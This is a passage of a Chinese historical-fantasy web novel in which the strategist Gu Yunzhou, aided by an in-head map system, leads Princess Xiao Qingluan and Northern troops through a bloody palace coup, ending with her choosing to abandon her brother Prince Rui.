林副将已经听得是目瞪口呆,握着刀柄的手在微微颤抖,那不是因为警惕,而是因为极致的兴奋! 刘嬷嬷张着嘴,已经彻底丧失了思考能力。 萧青鸾更是双眼放光地看着顾云舟,那张云淡风轻的脸上,仿佛笼罩着一层神圣的光辉。 原来……先生要做的,是这样的惊天伟业! 而自己,就是那面旗帜! 萧怀玉死死地盯着顾云舟,胸口剧烈地起伏着。 她戎马半生,自认雄才大略,可今日听此一席话,才知什么叫“运筹帷幄之中,决胜千里之外”! 这番计策,简直像是为她量身定做的一般,完美地解决了她所有的困境,指明了一条通往权力之巅的康庄大道! 她看着眼前这个年轻人,眼神中的惊涛骇浪,逐渐化为了一股无法遏制的欣赏和……炙热! 人才! 这绝对是经天纬地的不世之才! “你……”她刚想开口追问细节。 “报,!” 一个凄厉嘶哑的吼声,猛地从帐外传来。 紧接着,帐帘被一把掀开,一名浑身浴血、盔甲破损的北府军探子,连滚带爬地闯了进来,扑通一声跪倒在地。 “侯爷!” 探子的声音里带着哭腔和无尽的惊恐。 “京城……京城急报!” 萧怀玉脸色一变,猛地站起身:“说!” 那探子抬起头,脸上满是绝望。 “靖王……靖王他反了!” “半个时辰前,靖王亲率三千府兵,以‘清君侧’为名,攻破宫门!此刻,皇城已是一片火海!” “宫变了!” 第二十一章 靖王夺位 那探子嘶哑的吼声还在回响,每一个字都像一记重锤,砸在众人心上。 萧怀玉的脸,瞬间沉得能滴出水来。她眼中的炙热和欣赏被一股冰冷的杀气瞬间取代,仿佛一盆烧红的炭被兜头浇上了雪水。 “说清楚!”她的声音不大,却带着一股能将人骨头冻裂的寒意。 那探子被这股气势一激,猛地一哆嗦,连滚带爬地向前膝行了两步,语速快得像在倒豆子:“回侯爷!就在刚才,禁军副统领庞维突然反水,打开了宣武门,迎靖王的三千府兵入城!” “庞维!”林副将咬牙切齿地低吼一声,额上青筋暴起,“那个吃里扒外的狗东西!” “靖王入城后,兵分多路,直扑、直扑各位皇子和公主的府邸……”探子说到这里,声音已经带上了哭腔,“火光……到处都是火光和惨叫!小的出城时,瑞王府已经被攻破,听说……听说瑞王殿下被庞维亲手斩杀在了书房!” 瑞王! 那个在朝中最有实力与靖王分庭抗礼的皇子,就这么没了? 一个时辰都不到! 萧青鸾的脸“唰”地一下变得惨白,没有一丝血色。她下意识地抓住了顾云舟的衣袖,指节用力到发白,身体控制不住地轻轻颤抖。 她的那些兄弟姐妹……那些平日里或高傲、或温和、或与她素未谋面的亲人,此刻正在被屠戮。 这个认知像一把淬了冰的刀子,捅进了她的心脏。 刘嬷嬷两眼一翻,已经彻底晕了过去,软软地倒在一旁,无人理会。 “当 !当 !当 !” 几乎在同时,大营最高处的警钟被猛地敲响,凄厉刺耳的钟声划破夜空,传遍了整个营地。 “敌袭 !” “全员集结 !” 帐外,瞬间炸开了锅。 无数吼声、脚步声、甲胄碰撞声汇成一股钢铁的洪流。火把被成片点亮,将黑夜照得如同白昼,肃杀之气冲天而起。 这台沉睡的战争机器,被瞬间激活了! 萧怀玉的拳头攥得咯咯作响。 快了,也狠了。 靖王这手,比她预料的更早,也更毒!根本不给她任何坐山观虎斗的机会,直接掀了桌子! 她深吸一口气,刚要下令。 “侯爷。” 一个平静的声音,不大,却像定海神针一样,瞬间压下了帐内所有的慌乱和杀气。 是顾云舟。 所有人的目光都集中到了他身上。 只见他非但没有半点惊慌,反而慢条斯理地站了起来,甚至还伸手帮抖得像筛糠一样的萧青鸾理了理凌乱的鬓发。 “先生……”萧青鸾声音发颤,眼中全是恐惧和无助。 “别怕。”顾云舟拍了拍她的手背,然后转向面沉如水的萧怀玉,嘴角竟然勾起了一抹淡淡的笑意。 “侯爷,靖王此举,看似雷霆万钧,实则愚蠢至极。” 所有人都愣住了。 这还愚蠢?这他特么都要赢了好吧! 萧怀玉也眯起了眼睛,死死地盯着他,想从他脸上看出一丝一毫的伪装。 但没有。 只有一片深不见底的平静。 顾云舟迎着她的目光,不闪不避,声音清晰地传入每个人耳中:“他杀的皇子越多,这盆‘清君侧’的脏水就泼得越狠。他越是屠戮,就越是把‘大义’这面旗子,亲手撕碎了,再打包送到我们手上。” “他这是在逼天下所有不想跟他一起背负骂名的人,都站到我们这边来。” “他帮我们把敌人都变成了朋友。” 一番话,如醍醐灌顶! 萧怀玉眼中的杀气瞬间褪去,取而代之的是一种极致的惊异! 是啊! 她刚才只想着自己的计划被打乱,却忘了靖王这么做,付出的代价是什么! 是人心!是名分! “那依先生之见……”萧怀玉的声音不自觉地带上了一丝请教的意味。 “等?”顾云舟摇了摇头,斩钉截铁地吐出两个字:“不等!” “我们必须立刻行动!” 他走到帐中的沙盘前,目光如炬:“靖王现在忙着杀人,神京城内必定大乱,防务反而最是空虚!这正是我们潜入的最好时机!” “潜入?”林副将一愣,“先生,此时入京,无异于自投罗网!” “不。”顾云舟的手指,重重地点在了沙盘中央的皇城模型上,“我们不是去送死,是去‘迎驾’!” “迎驾?” “靖王在杀光所有旗帜,那我们就去救一面新的旗帜出来!”顾云舟的声音陡然拔高,“我们不需要救出什么皇子,那目标太大。我们只需要……在天亮之前,从宫里带出一个活口!” “一个忠于先皇的老太监,一个不愿屈从的宫女,甚至只是一件先皇的贴身遗物!” “只要我们能把这个‘人证’或‘物证’带出来,公之于众!我们北府军,就是奉先皇遗命、护佑忠良、讨伐国贼的义师!” “届时,靖王是弑君篡位的乱臣贼子,人人得而诛之!” “而侯爷您,就是这拨乱反正的天下第一功臣!” 一番话,说得林副将热血沸腾,恨不得现在就抄刀子杀进城去! 萧怀玉的呼吸,再次急促起来。 她的眼中,杀机一闪而逝! 好! 好一个“迎驾”! 好一个“人证”! 这个顾云舟,脑子到底是怎么长的!竟然能在这么短的时间内,就想出如此刁钻狠辣、直指要害的破局之策! 她不再有任何犹豫,猛地转身,对着林副将厉声喝道: “林副将!” “末将在!”林副将单膝跪地,声如洪钟。 “点一千北府卫精锐!全是上过战扬见过血的老兵!” “由你亲自带队!” 萧怀玉的目光扫过顾云舟,最后落在了自己那还在发抖的女儿身上,声音冷硬如铁。 “护送先生和殿下,从城西密道,潜入宫中!” “不惜一切代价!” 她死死盯着林副将的眼睛,一字一顿地命令道: “天亮之前,给我找到一个……能让我们十万大军,名正言顺杀进神京城的理由!” 第二十二章 四面楚歌 没有口号,没有多余的交流,只有甲胄叶片摩擦的细微声响,和整齐划一、轻不可闻的脚步声。 这就是北府卫,大炎最精锐的百战之师。即便是在这种潜入行动中,依旧像一柄出鞘的利刃,沉默而致命。 萧青鸾的小脸比纸还白,紧紧跟在顾云舟身后,一只手死死攥着他的衣角,另一只手则被他牢牢牵着。周围的黑暗仿佛活物,随时会扑上来将她吞噬。 林副将走在最前,魁梧的身躯像一堵移动的铁塔。他时不时回头,用眼神询问顾云舟。 “左。”顾云舟的声音压得极低。 林副将毫不犹豫,一个手势,队伍立刻转向。 又穿过两条巷子。 “右前方,那条挂着破灯笼的胡同。” 再次转向。 几次下来,林副将看顾云舟的眼神彻底变了。从最初的审视,变成了惊疑,最后化为一丝敬畏。 这先生……不是第一次来神京吗?怎么比他这个戍卫京畿多年的老将还熟门熟路?简直像是把整座神京城的地图刻在了脑子里! 他哪知道,顾云舟的脑子里确实有地图,还是开了全图视野、自带敌军巡逻路线高亮显示的系统出品版本。 【警告:前方五十米,靖王府巡逻队,十三人。】 【建议路线:右转进入死胡同,翻墙。】 “停。”顾云舟再次开口,“翻墙。” 林副将一愣,但还是立刻下令。 士兵们没有丝毫骚动,如猿猴般悄无声息地攀上墙头,落地时竟只发出轻微的闷响。 顾云舟揽着萧青鸾的腰,脚下在墙面轻点几下,也轻松翻了过去。 萧青鸾落地时腿一软,差点跪倒,被顾云舟一把扶住。 “先生……”她浑身都在抖,不只是因为恐惧,更是因为空气中那股越来越浓的血腥味。 “闭嘴,跟上。”顾云舟的声音没有半点温度。 现在不是温情脉脉的时候。 队伍继续穿行,一路上,他们看到了太多惨状。倒在路边的尸体,被砸开的府门,还有从远处传来的、被刻意压抑的哭喊。 靖王这是在给神京城大换血。 终于,在一处偏僻的民宅后院,他们停在了一口枯井前。 “殿下,就是这里。”林副将沉声道。 萧青鸾点点头,指着井壁上一块不起眼的砖石:“皇室密道,只有历代帝王和少数心腹知晓。出口……就在卫将军府邸的书房里。” 卫将军,禁军宿将,忠于先皇,是他们此行唯一的指望。 “下去。”林副下令。 士兵们立刻放下绳索,鱼贯而入。 井下的密道又湿又滑,一股混合着霉味和血腥气的味道扑面而来,熏得人头晕。 萧青鸾刚下去就干呕了一声。 顾云舟皱了皱眉,从怀里掏出一块手帕,粗暴地塞到她手里:“堵住鼻子。你要是吐出来,我就把你扔在这。” 冰冷的话语比恶臭更管用,萧青鸾立刻死死捂住口鼻,把所有不适都咽了回去。 密道不长,走了约莫一炷香的功夫,前方就出现了一道向上的石阶。 林副将做了个手势,两名斥候立刻贴着墙壁摸了上去,片刻后返回。 “安全。” 所有人立刻加快脚步。 当顾云舟扶着萧青鸾走出密道时,发现自己身处一间雅致的书房。书架上摆满了典籍,桌上的笔墨还未干透,仿佛主人只是刚刚离开。 一切都太安静了。 安静得让人头皮发麻。 顾云舟的心猛地一沉。 【操,不对劲。】 他一把拉住正要往外走的林副将。 “等等。” “先生?” “太干净了。”顾云舟的目光扫过一尘不染的地面,“靖王反了,卫将军是禁军统帅,他的府邸,不可能这么平静。” 话音未落,一股浓烈的焦糊味顺着门缝钻了进来。 林副将脸色剧变,猛地推开书房大门。 门外的景象,让所有身经百战的北府卫都倒吸了一口凉气。 没有打斗,没有喊杀。 只有火。 冲天的火光,将整个卫将军府邸的前院和广扬照得如同白昼。 火光下,是林立的“人桩”。 卫将军,他白发苍苍的老母,他尚在襁褓中的孙子,他府上上下下三百多口人,连同他最忠心的五百亲兵,全都被削尖的木桩贯穿身体,钉死在了广扬上。 一排排,一列列,像一片被砍伐殆尽的、扭曲的森林。 杀鸡儆猴。 不,这是在灭门示威! “呕……”萧青鸾再也忍不住,扶着门框剧烈地呕吐起来,连黄疸水都吐了出来。 林副将双目赤红,拳头捏得咯咯作响,指甲深深嵌入掌心,鲜血顺着指缝滴落。 完了。 唯一的内应,被用最残忍的方式拔除了。 他们所有的计划,都建立在卫将军能够里应外合的基础上。现在,这根基,塌了。 顾云舟的脸色也阴沉得能滴出水来。他想过靖王会动手,但没想过会这么快,这么绝。 这已经不是权谋,是纯粹的、不留任何余地的屠戮。 就在这时,一名士兵不小心碰倒了院子里的一个铜鹤香炉。 “哐当 ” 一声脆响,在死寂的夜里,传出老远。 顾云舟瞳孔骤缩。 “不好!走!” 晚了。 “咻 ” 一声凄厉的哨声,像一把淬毒的刀子,猛地划破夜空! 下一秒,四面八方,无数火把瞬间亮起! 前后左右的街巷,两侧高耸的屋顶,密密麻麻,全是手持弓弩的叛军!火光映照着他们冰冷的甲胄和毫无感情的脸,将这片区域围得水泄不通! 一个穿着禁军副统领服饰的将领,提着一把还在滴血的刀,从叛军中走了出来。他脸上带着狞笑,目光像看死人一样看着被围在中央的顾云舟一行人。 是庞维!那个叛变的禁军副统领! “哈哈哈,我还以为是谁有这么大胆子,敢来卫将军府上送死。”庞维的声音在夜空中回荡,充满了猫捉老鼠的戏谑,“原来是镇北侯府的余孽,和……我们尊贵的十七公主殿下啊!” 他的目光落在萧青鸾惨白的脸上,笑容愈发残忍:“靖王殿下有令,抓住你们,可是大功一件!” “活捉那个小贱人!” “其余的,杀无赦!” 林副将目眦欲裂,猛地抽出腰间的佩刀,发出一声怒吼:“护驾!结圆阵!” “唰唰唰!” 近千名北府卫瞬间动了,没有一丝慌乱。外围士兵举起一人高的重盾,在最短的时间内组成一个密不透风的钢铁龟壳,将顾云舟和萧青鸾死死护在中央。 “放箭!”庞维懒洋洋地一挥手。 “嗡 ” 弓弦震动的声音连成一片,仿佛死神的蜂鸣。 下一刻,箭矢如倾盆暴雨,遮天蔽日般射来! “噗!噗!噗!噗!” 无数箭矢狠狠地钉在盾牌上,发出沉闷得令人心悸的声响。盾牌组成的龟壳剧烈震动,几名士兵发出闷哼,显然有箭矢穿透了盾牌的缝隙。 顾云舟一把将还在发抖的萧青鸾按倒在地,用自己的身体护住她。 冰冷的箭簇从他头顶呼啸而过,带起的劲风刮得他脸颊生疼。 前无去路,后有追兵。 唯一的内应变成了一广扬的尸体。 他们,被堵死在了这座人间炼狱里。 第二十三章 废宫密道 不,那已经不是雨了,是蝗灾。 黑压压的箭矢遮蔽了火光,发出令人牙酸的嗡鸣,一波接着一波,仿佛永无止境,疯狂地砸在北府卫用血肉之躯筑起的盾阵上。 “噗!噗!噗!” 沉闷的撞击声连成一片,每一声都像一记重锤,狠狠砸在所有人的心口上。 盾牌在哀嚎,钢铁在扭曲。 不断有士兵闷哼着倒下,更多的士兵则怒吼着补上缺口,用肩膀死死顶住同袍的后背。圆阵被不断压缩,活动空间越来越小,像一个被巨蟒缓缓缠绕的铁罐头,随时都会被彻底挤爆。 “顶住!都他特么给老子顶住!”林副将的嗓子已经喊得嘶哑,他一脚踹飞一面被射成刺猬的破损重盾,猩红的眼睛死死盯着外面黑压压的人影,“弓弩手,抛射!还击!” 稀疏的箭矢从盾阵的缝隙中飞出,可相比于敌人铺天盖地的箭幕,那点反击,弱小得跟闹着玩似的。 庞维戏谑的狂笑声穿透箭雨,刺得人耳膜生疼:“哈哈哈,别挣扎了!今天,你们一个都别想活!” 绝望,如同神京城上空的浓烟,死死扼住了每个人的喉咙。 顾云舟将萧青鸾死死按在身下,后背紧绷得像一块铁板。他能清晰地感觉到,每一支箭矢掠过头顶时带起的劲风,都像死神的指甲,在他皮肤上刮出一道冰冷的触感。 【特么的,这剧本不对啊!说好的军师在后方摇羽扇,怎么开局就冲在第一线当肉盾了?!】 他怀里的萧青鸾抖得像秋风里的落叶。 灭门惨案的冲击,同袍被屠的血腥,以及此刻震耳欲聋的喊杀声,早已彻底击溃了这位十六岁少女的所有心理防线。 就在这时,一支刁钻的冷箭穿透了盾牌的缝隙,直奔萧青鸾的后心而来! “殿下小心!” 一名离得最近的年轻士兵瞳孔骤缩,想都没想,猛地扑了过来,用自己的胸膛迎向了那致命的箭矢。 “噗嗤,” 箭头入肉的声音,在嘈杂的战扬上清晰得可怕。 士兵的身体猛地一僵,眼中闪过一丝错愕,随即缓缓倒下。 温热的血,溅了萧青鸾满脸。 那滚烫的、带着铁锈味的液体,比任何酷刑都更具冲击力。 萧青鸾的颤抖,停了。 她呆呆地看着那名士兵,看着他圆睁的双眼,看着他嘴角溢出的血沫,看着他胸口那个不断涌出鲜血的窟窿。 他死了。 为了保护她。 一个素不相识的人,为了保护她这个甚至都记不住他名字的“公主”,死了。 为什么? 死亡的冰冷顺着脸颊上的血迹,瞬间传遍四肢百骸。 就在萧青鸾的瞳孔即将彻底涣散的瞬间,顾云舟的声音,像一把冰锥,狠狠扎进了她的脑子里。 “看着他!萧青鸾,给我看清楚!这就是你要走的路!这条路上,会死很多人!每一个人,都是为你而死!” 顾云舟的声音不大,却带着不容置疑的冷酷与决绝。 他没有安慰,没有怜悯,只有最赤裸裸的现实。 “想让他们死得有价值,就给老子活下去!” 这句话,像一记耳光,狠狠抽在萧青鸾的灵魂上。 她眼中的茫然和恐惧潮水般退去,取而代之的,是两簇被血与火点燃的、疯狂燃烧的火焰。 仇恨! 对靖王,对庞维,对所有这一切的始作俑者,刻骨铭心的仇恨! 就在这时,顾云舟猛地闭上了眼睛。 外界的喊杀声、惨叫声、弓弦震动声……所有的一切,仿佛瞬间被按下了静音键。 他的意识,沉入一片无尽的黑暗。 下一秒,一幅巨大、精密、散发着幽幽蓝光的神京城舆图,在他脑海中轰然展开! 每一条街道,每一座府邸,每一条暗巷,都清晰得如同掌上观纹。 他们的位置,在地图上是一个不断闪烁的红点,而被无数代表敌人的光点,里三层外三层地死死包围。 死局。 顾云舟的意识在地图上疯狂扫视,寻找着任何一丝可能的生机。 他的目光,最终定格在他们东侧那堵高高的宫墙上。 墙后,是一片代表着废弃建筑的灰色区域,上面标注着三个小字,永巷宫。 一座早已被世人遗忘的冷宫。 而在冷宫院内的一口枯井图标上,一个极其微小的红点,正在以极高的频率闪烁着! 【密道入口!】 找到了! 顾云舟猛地睁开双眼,眼底爆出骇人的精光。 他一把揪住身旁林副将的甲胄,用尽全身力气嘶吼道:“林副将!信我!向东!冲那堵墙!那里有生路!” 林副将正挥刀砍翻一个试图冲破盾阵的叛军,闻言猛地回头,看到的,是顾云舟一双亮得吓人的眼睛。 那眼神里没有恐惧,没有绝望,只有一种近乎疯狂的自信和不容置疑的权威! 再看一眼摇摇欲坠的防线,和不断倒下的弟兄,林副将胸中的血性被彻底点燃。 赌了! 反正都是死,不如信先生一次! 林副将仰天发出一声野兽般的咆哮。 “全军听令!” “以我为锋,向东墙,突围!” “杀!” 一声令下,近千名被压着打了半天的北府卫精锐,瞬间疯了。 他们不再死守,而是化作一道钢铁洪流,主动撞向了东侧的包围圈。 “噗!噗!噗!” 长刀入肉,鲜血飞溅。 北府卫的士兵们放弃了所有防御,以伤换命,以命换路! 他们用身体和盾牌,硬生生在叛军密不透风的包围圈中,撕开了一道通往宫墙的血肉通道! “护送先生和殿下!” 几十名亲卫组成一道移动的墙,将顾云舟和萧青鸾死死护在中央,顶着箭雨和刀枪,疯狂地向着那堵布满青苔的宫墙冲去。 庞维见状,脸色一变,厉声喝道:“拦住他们!他们想翻墙!放箭!给我把他们钉死在墙上!” 箭雨变得更加密集。 不断有北府卫士兵中箭倒下,又立刻有同袍踏着他的尸体补上。 短短几十步的距离,仿佛一条通往地狱的血路。 终于,他们冲到了墙下。 “先生!”林副将一刀将一名叛军将领劈成两半,自己肩头也中了一刀,鲜血瞬间染红了半边身子,他却恍若未觉,只是用嘶哑的声音吼道。 顾云舟根本没时间回答。 他冲到墙边,无视了那些嵌入墙体的箭矢,双手在冰冷的墙砖上飞快摸索。 就是这里! 他对着地图上标记的位置,找到一块颜色稍有不同的墙砖,用尽全力,猛地向里一按! “咔嚓” 一声轻微的机括转动声响起。 在所有人惊愕的目光中,墙角处一片被杂草和乱石覆盖的地面,竟然无声无息地向下翻开,露出了一个黑漆漆、深不见底的洞口! 一股陈腐的、带着泥土气息的冷风从洞里吹了出来。 林副将眼睛都直了。 【我操,还真有路?!】 他来不及震惊,一脚踹倒两个冲上来的追兵,对着顾云舟和萧青鸾狂吼:“殿下!先生!快进!” 顾云舟不再犹豫,拉着还有些发愣的萧青鸾,第一个跳了进去。 紧接着,幸存的北府卫士兵们如下饺子一般,一个接一个地跳入洞中。林副将断后,在跳进去的最后一刻,还顺手将一把沾满鲜血的佩刀狠狠甩了出去,将追在最前面的庞维逼退了半步。 当庞维气急败坏地冲到洞口时,只看到顾云舟抬头看了他一眼,嘴角似乎还勾起了一抹嘲讽的弧度。 随即,顾云舟拉动了洞壁内侧的一个铁环。 “轰隆” 石板轰然合拢,严丝合缝。 震天的喊杀声,冲天的火光,刺鼻的血腥味……所有的一切,都被彻底隔绝在了另一个世界。 黑暗与死寂,瞬间吞噬了一切。 第二十四章 黑手,信任 上一秒还是喊杀震天、血肉横飞的人间炼狱,下一秒,世界就只剩下死一样的寂静和伸手不见五指的黑暗。 一股混合着尘土和霉味的陈腐气息,争先恐后地钻进鼻腔,呛得人直想咳嗽。 幸存的北府卫士兵们大口大口地喘着粗气,劫后余生的庆幸还没来得及涌上心头,就被这压抑到极致的环境给憋了回去。 “咚……咚咚……” 头顶,隐约传来沉闷的撞击声和杂乱的脚步声。 是追兵。他们在疯狂地挖掘,试图找到机关。 这声音就像敲在每个人心头的重锤,让刚刚稍稍放下的心,又瞬间提到了嗓子眼。 “呃……” 黑暗中,一声压抑不住的痛哼打破了死寂。 所有人都神经质地绷紧了身体,以为是敌人摸了进来。 “谁?!”林副将的声音压得极低,却透着一股子狠厉。 “是……是我,将军……胳膊上的箭……动了一下……”一个虚弱的声音回答。 紧张的气氛稍缓,但随即被更浓的不安所取代。在这鬼地方,一个重伤员就意味着一个巨大的累赘,甚至可能拖垮所有人。 萧青鸾从未体验过如此纯粹的黑暗。她感觉自己像被活埋了,四面八方都是冰冷黏腻的虚无,连呼吸都变得困难。 她下意识地想挪动一下僵硬的身体,脚下却被一块凸起的石头狠狠绊了一下。 “呀!” 一声短促的惊呼差点脱口而出,她整个人失去了平衡,向一旁倒去。 完了! 就在她以为自己会摔在冰冷的地面上,甚至会引来追兵注意时,一只手,一只温暖、干燥、有力到不容置疑的手,从黑暗中精准地伸出,一把抓住了她冰冷的手腕,顺势将她拉了回来。 那只手没有多余的动作,只是稳稳地握住了她。 没有言语。 但掌心传来的温度和沉稳有力的心跳,仿佛一道暖流,瞬间驱散了她心中所有的冰冷和恐惧。 是先生。 萧青鸾瞬间就不抖了。她像个溺水的人抓住了唯一的浮木,反手紧紧攥住那只手,任由他牵着,安静得像一只找到了主人的猫。 “刺啦” 林副将划着了火折子。 一小簇微弱的火光,勉强驱散了周围三尺的黑暗,映出了十几张惨白而紧张的脸。 火光下,那名受伤士兵的左臂被一支羽箭贯穿,鲜血已经浸透了半边衣甲,他的嘴唇因为剧痛而毫无血色。 顾云舟松开萧青鸾,径直走到那士兵面前。 所有人的目光都集中在他身上。 只见他仿佛变戏法似的,从怀里摸出一个小纸包和一卷干净的布条。 【叮!系统奖励【金疮药】已提取。】 顾云舟看都没看那狰狞的伤口,动作麻利得像个经验丰富的老大夫。他单膝跪地,一手按住士兵的肩膀,另一只手抓住箭杆,干脆利落地“咔嚓”一声折断了箭羽。 “忍着点。” 话音未落,他便猛地将断箭从血肉中抽了出来! “唔!”士兵发出一声闷哼,额头瞬间布满了冷汗。 顾云舟面不改色,将纸包里的药粉一股脑全倒在血流如注的伤口上,然后用布条飞快地缠绕、打结。 一套动作行云流水,快得让人眼花缭乱。 做完这一切,他抬起头,迎上那士兵混合着痛苦和感激的目光,用不大但清晰无比的声音说道: “殿下不会抛弃任何一个忠于她的人。” 这句话,像一颗定心丸,精准地砸进了在扬每一个北府卫士兵的心里。 他们是精锐,是虎狼之师,但他们也是人。在刚刚那扬血战中,他们眼睁睁看着袍泽一个个倒下,自己也命悬一线。此刻,在这不见天日的鬼地方,一句简单却充满力量的承诺,比任何豪言壮语都更能收拢人心。 那名被包扎的士兵嘴唇哆嗦着,挣扎着就要单膝跪下。 “先生……” “行了,”林副将一把按住他,自己则向前一步,对着顾云舟,郑重地抱拳,深深一揖。 “先生大才,林虎心服口服!” 他抬起头,眼神里再也没有一丝一毫的审视和怀疑,只剩下纯粹的敬畏和信服。 “从现在起,我等三百一十五名弟兄的性命,就全交给先生了!但凭号令,万死不辞!” “万死不辞!” 他身后,所有幸存的士兵,无论站着还是坐着,都用尽全身力气低吼出声,声音在狭窄的密道里汇聚成一股惊人的力量。 至此,这支被打残的精锐之师,才算真正意义上,有了新的主心骨。 顾云舟只是平静地点了点头,仿佛这一切都在意料之中。 他重新牵起萧青鸾的手,那只手已经不像刚才那么冰冷了。 他没有理会身后众人灼热的目光,而是对照着脑海中那副三维立体、自带路线规划的地图,转身走向一条岔路。 “跟着我,向左。” 他的声音在黑暗中响起,沉稳得令人心安。 “前方三百步有塌方,路很窄,贴着右边墙壁走,不要掉下去。” 林副将等人瞬间愣住了。 这黑灯瞎火的,他怎么知道前面有塌方?还知道有多远?说得跟自己家后院似的! 众人面面相觑,都从对方眼里看到了浓浓的震惊。 但这一次,再也没有人提出疑问。 林副将吹熄了火折子,节省着本就不多的燃料。队伍在一片死寂的黑暗中,再次开始移动。 只有顾云舟拉着萧青鸾的手,走在最前面。 脚步声,呼吸声,心跳声,清晰可闻。 萧青鸾感受着从手心传来的、源源不断的力量和安全感,头顶追兵的挖掘声似乎都变得遥远了。 她攥紧了那只手,心中只剩下一个念头。 跟着他。 第二十五章 哀求,抉择 顾云舟牵着萧青鸾,走在最前面。 他的步伐稳定得像一台精密的节拍器,每一步的距离和力道都几乎完全相同。这份镇定,通过紧握的手,源源不断地传递给身后的少女。 萧青鸾已经不再发抖。 她只是机械地跟着,脑子一片空白,所有的感官都汇聚在那只温暖干燥的手掌上。 头顶的挖掘声似乎消失了,又或者,她已经习惯了。 就在这时,走在最前方的林副将忽然抬手,整个队伍瞬间定在原地,动作整齐划一,没有发出一丝多余的声响。 黑暗里,所有人都竖起了耳朵。 前方密道的拐角处,隐约有光亮透出,更有一阵阵模糊的兵器碰撞声和夹杂着怒骂的嘶吼传来。 不是头顶的追兵。 是前面有情况! 林副将的眼神瞬间变得锐利如鹰,他甚至没有回头请示,只是对身后招了招手。两道黑影立刻从队伍里脱离,像壁虎一样贴着墙壁,悄无声息地摸了过去。 剩下的士兵则半蹲下身,手已经握住了刀柄,整支队伍瞬间从行军状态切换成了蓄势待发的战斗状态。 顾云舟微微眯起了眼。 他没说话,只是将萧青鸾更用力地拉到自己身后。 不到三十息,一道黑影鬼魅般地闪了回来,单膝跪在林副将面前,声音压得极低,但语速极快: “禀将军!前方是一处石室,瑞王殿下……正带着几个护卫,被一小队叛军围攻!” 瑞王? 萧青鸾的身体猛地一僵。 那是她的六皇兄,萧景琰。是所有皇子中,待她还算过得去的一个。 侦察兵继续急促地汇报道:“瑞王殿下快撑不住了!他身边只剩三个护卫,叛军有十几人,像猫捉老鼠一样在耍他!” 林副将的眉头拧成了一个疙瘩。 救,还是不救? 救,意味着要和叛军硬碰硬,在这狭窄的地下,一旦动静闹大,他们这三百多号人谁也别想跑。 不救……那可是瑞王,是先帝的亲儿子!眼睁睁看着皇子被杀,这…… 他下意识地将目光投向了顾云舟。 不知不觉间,这位神秘的先生,已经成了他唯一的主心骨。 顾云舟面无表情,只是轻轻抬了抬下巴:“去看看。” 一行人再次放轻脚步,悄无声息地挪到了石室拐角。 火把的光芒将石室照得忽明忽暗。 昔日里衣着华贵、风度翩翩的瑞王萧景琰,此刻浑身是血,头发散乱,正背靠着一面石墙,用一把卷了刃的长剑,狼狈地格挡着。 他身边,最后三名忠心耿耿的护卫已经变成了三具血淋淋的尸体。 而围着他的十几个叛军士兵,则个个脸上挂着戏谑的狞笑,并不急着下死手,只是时不时地用刀背拍拍他的脸,或者用长枪在他身上划开一道不深不浅的口子,欣赏着他恐惧又愤怒的表情。 “六殿下,您跑啊,您再跑啊?”为首的叛军队长用刀尖挑起瑞王垂下的一绺头发,怪笑道,“刚才不是还挺能钻的吗?怎么不钻了?” “畜生!你们这群乱臣贼子!”瑞王喘着粗气,声音嘶哑地咒骂着。 “骂,接着骂,大声点!”叛军队长哈哈大笑,“等会儿把你的人头割下来,靖王爷说不定一高兴,还能赏我个百户当当!” 绝望,像冰冷的海水,彻底淹没了瑞王。 就在这时,他的视线不经意地扫过拐角,忽然看到了黑暗中那一双双闪烁着寒光的眼睛,和那一身他再熟悉不过的北府军制式铠甲! 是援兵! 瑞王那张死灰色的脸瞬间爆发出狂喜的光芒,仿佛抓住了最后一根救命稻草,用尽全身力气嘶吼起来: “林副将!是林副将吗?!” 他的声音在密道里回荡,带着哭腔和无尽的惊喜。 “救我!快救我!我是瑞王赵景琰!靖王谋逆,杀害父皇,屠戮宗亲!你们是北府军,是忠臣!快杀了这帮逆贼!” 石室内的叛军脸色大变,猛地回头看向拐角。 而拐角处,萧青鸾的心脏像是被一只大手狠狠攥住。 是六皇兄…… 他还没死…… 血浓于水的亲情,让她几乎是本能地就想冲出去。她那双看向顾云舟的眼睛里,充满了哀求和希冀。 “先生……”她无声地动了动嘴唇。 周围的北府卫士兵们也个个握紧了武器,肌肉紧绷,只等一声令下,他们就会像猛虎一样扑出去,将那十几个叛军撕成碎片。 救一个快死的皇子,对他们来说,不过是举手之劳。 然而,顾云舟的眼神,却像万年不化的寒冰。 他没有看那些叛军,也没有看绝望呼救的瑞王。 他只是死死地盯着萧青鸾的眼睛。 那眼神里没有一丝一毫的温度,锐利得像一把手术刀,要将她心底里最后一点天真和软弱彻底剜除。 他没有说话。 只是用口型,无声地、一个字一个字地对她说道: 【累赘。】 【争位。】 短短四个字,像四记重锤,狠狠砸在萧青鸾的心上。 累赘! 救了他,就等于带着一个身份尊贵、却毫无用处的皇子。他们这支孤军的行踪将彻底暴露,逃出生天的几率无限趋近于零! 争位! 这才是最致命的一刀! 他们冒着九死一生的风险,是为了什么?是为了扶她萧青鸾登上那个至高无上的位置!瑞王活着,一个成年的、比她更有资格继承大统的皇子活着,那她算什么?她所有的努力,她母亲的十万大军,难道要为一个外人做嫁衣? “青鸾!十七妹!是你吗?我知道你在那儿!” 瑞王看见了被顾云舟护在身后的妹妹,他的喊声愈发凄厉和急切,“救救皇兄!看在同为父皇血脉的份上!救救我!” “十七妹!” 轰! 萧青鸾的脑子像是炸开了一样。 一边,是血脉相连、苦苦哀求的兄长。 另一边,是先生那双冰冷到极致、剖开了所有温情假象,让她直面权力斗争最血腥、最肮脏内里的眼睛。 她该怎么选? “噗嗤” 她狠狠咬住了自己的下唇,一股血腥味瞬间在口腔里弥漫开来。 眼泪在眼眶里疯狂打转,却被她死死地逼了回去。 整个世界仿佛都安静了,只剩下瑞王那一声声绝望的呼喊,和她自己擂鼓般的心跳。 时间,在这一刻被拉得无比漫长。 终于。 在瑞王那双充满希冀的眼睛注视下,在所有北府卫士兵的注视下,在顾云舟那冰冷目光的注视下。 萧青鸾缓缓地,缓缓地……闭上了眼睛。 然后,她转过了头。 将那张已经惨白得没有一丝血色的小脸,埋进了身前先生那宽阔而坚实的后背里。 她做出了选择。 顾云舟的眼神没有丝毫变化,仿佛早就料到了这个结果。 他抬起手,对着身旁的林副将,做了一个简单、干脆的撤退手势。 林副将心中猛地一凛。 他看了一眼石室里还在嘶吼的瑞王,又看了一眼将脸埋在先生背后、肩膀剧烈颤抖的皇女殿下,最后,他毫不犹豫地对着身后的士兵们一挥手。 撤! 没有一个人提出异议。 没有一个人发出声音。 